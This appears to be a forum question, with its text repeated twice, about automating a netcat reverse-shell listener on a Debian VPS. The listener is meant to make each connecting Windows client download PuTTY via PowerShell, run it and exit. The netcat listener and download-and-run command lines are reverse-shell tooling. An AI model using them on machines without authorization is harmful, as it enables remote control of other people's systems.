i have a powershell script which I use to gain rev. shell on my Debian vps.
On my server I use netcat as a listener with command: "while true; do nc -lvp 443 ; done"
I want to automate (on my server) to: when I receive connection server downloads putty, executes putty, wait for 20 seconds and then exits.
while true; do nc -lvp 443 -e "powershell -command start-bitstransfer https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe && powershell -command start putty.exe && timeout /t 20 && exit" ; done
I tried with this command and many variants but no luck. I get an answer: No such file or Directory
Does anyone knows what I did wrong?
On my server I use netcat as a listener with command: "while true; do nc -lvp 443 ; done"
I want to automate (on my server) to: when I receive connection server downloads putty, executes putty, wait for 20 seconds and then exits.
while true; do nc -lvp 443 -e "powershell -command start-bitstransfer https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe && powershell -command start putty.exe && timeout /t 20 && exit" ; done
I tried with this command and many variants but no luck. I get an answer: No such file or Directory
Does anyone knows what I did wrong?